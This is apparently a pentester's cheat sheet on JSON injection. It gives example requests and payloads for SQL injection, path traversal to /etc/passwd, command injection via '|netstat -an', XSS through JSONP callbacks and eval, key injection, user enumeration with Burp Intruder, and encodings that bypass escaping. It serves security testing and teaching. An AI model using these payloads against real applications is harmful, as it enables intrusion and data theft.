JSON injection is a vulnerability that lets an attacker inject malicious data into JSON streams or use malicious JSON streams to modify application behavior. It can be server-side or client-side.
- Server-side: when data from an untrusted source is not sanitized by the server and is written directly to a JSON stream.
- Client-side: when data from an untrusted JSON source is not sanitized and is parsed directly using the JavaScript eval function.
See also JSON Hijacking.
- Attacking JSON Application : Pentesting JSON Application (Websec Geeks)
- DOM-based client-side JSON injection (PortSwigger)
- JSON.Fuzzing.txt (SecLists)
- JSON is not as safe as people think it is (Incompleteness)
JSON Injection – Example
Request:
GET /site/getuserinfo=bob HTTP/1.1
Host: domain.com
Content-Type: application/json;
Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 72
{"name":"bob","email":"bob@domain.com","website":"http://url.com"}
"user":"<a href='http\\\\:someurl.com'>ACTIVATE USER HERE</a>"
"user":"<img src=https\\://dummyimage.com/200x200/ff00d5&text=HAHAHA/>"
Payloads
POST data – Example with password change API – SQL Injection
Original
{"email":"xyz@example.com","oldpassword":"oldpassword","newpassword":"newpassword"}
Modified - add single quote after email address
{"email":"xyz@example.com'","oldpassword":"oldpassword","newpassword":"newpassword"}
POST data – Example with online commerce API
Original
{"query":"tv","order":"asc","limit":50}
Modified - LFI
{"query":"/../../../../../../../etc/passwd","order":"asc","limit":50}
Modified - Command injection
{"query":"|netstat -an ","order":"asc","limit":50}
Modified - SQLi
{"query":"tv","order":"asc, cast((select ... ) as numeric)--","limit":50}
SQLi:
Escape quotes with \" when needed:
" OR "a"="a becomes \" OR \"a\"=\"a
{"username": "USER' OR 1=1--", "password": "foo"}
/site/getinfo?callback='alert('XSS');//
/site/getinfo?callback="alert('XSS');//
In the response the reflected value will be look like this
{"callback":""alert(1)//1111"}
Code
var name = "james";
Input
james"; alert(1); var random = "
POST data – App building a JSON like {“key”: “value”}
POST /api
Content-Type: application/json
{"key": "value"}
Payload, will be interpreted as {“key”: “value”, “evil”: “injected”}
{"key": "value\", \"evil\": \"injected"}
Bruteforce
Brute forcing or no limit for attempts like Authentication form is the basic one which the traditional attack which we check in all web application as well as JSON Application.
Send request to Burp Intruder to list valid users (use a list of username):
GET /site/getuserinfo=$VARIABLE$ HTTP/1.1
Host: domain.com
Content-Type: application/json;
XSS in JSON – Example
XSS in JSON application is as simple as we do pre-application. Basically the parameter which we are passing into the application is sended by javascript as array and response would be the also same. So we have to strip out our payload from the array.
Normally there is prameter in JSON Application called “callback” which was vulnerable recently.You can find the issue here. The payload should be like this URI
/site/getinfo?callback='alert('XSS');//
/site/getinfo?callback="alert('XSS');//
Payload depends on the tag that there is a single quote used or double quote
In the response the reflected value will be look like this
{"callback":""alert(1)//1111"}
If the value not filter or sanitized the payload will be executed and comment our the rest of the section.
# var data = eval("(" + resp + ")");
});alert(1);({"name":"Alice","description":"Likes XSS.
});alert(1);({"description":"XSS.
Bypass escaped characters
- Unicode for Security Professionals (Gosecure)
- Characters that byte (GitHub, cheatsheet from Gosecure)
When the application escapes characters, like ” becomes \”.
Encoding | ” is escaped | \ is escaped |
Hexadecimal | \x22 | |
Unicode | U+0022 \u0022 | U+005C \u005C |
HTML | " | N/A |
URL | %22 | %5c |
Double URL encode | %2522 | %255c |
`”` | `\` |